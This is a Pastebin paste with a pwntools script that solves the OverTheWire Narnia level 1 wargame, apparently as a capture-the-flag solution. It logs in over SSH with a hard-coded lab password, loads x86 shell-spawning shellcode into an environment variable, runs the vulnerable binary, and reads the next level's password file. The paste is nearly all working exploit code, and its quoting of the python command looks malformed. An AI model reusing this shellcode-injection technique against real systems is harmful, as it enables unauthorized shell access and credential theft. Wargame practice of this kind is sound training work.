Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- from pwn import *
- shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"
- s = ssh(user='narnia1', host='narnia.labs.overthewire.org', password='efeidiedae', port=2226)
- sh = s.run('/narnia/narnia1')
- sh.sendline("export EGG=$(python -c" + "'" +"print" + shellcode)
- sh.sendline('echo $EGG')
- sh = s.run('/narnia/narnia1')
- sh.sendline('cat /etc/narnia_pass/narnia2')
- output = sh.recvline(1024)
- print(output)
- s.close()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement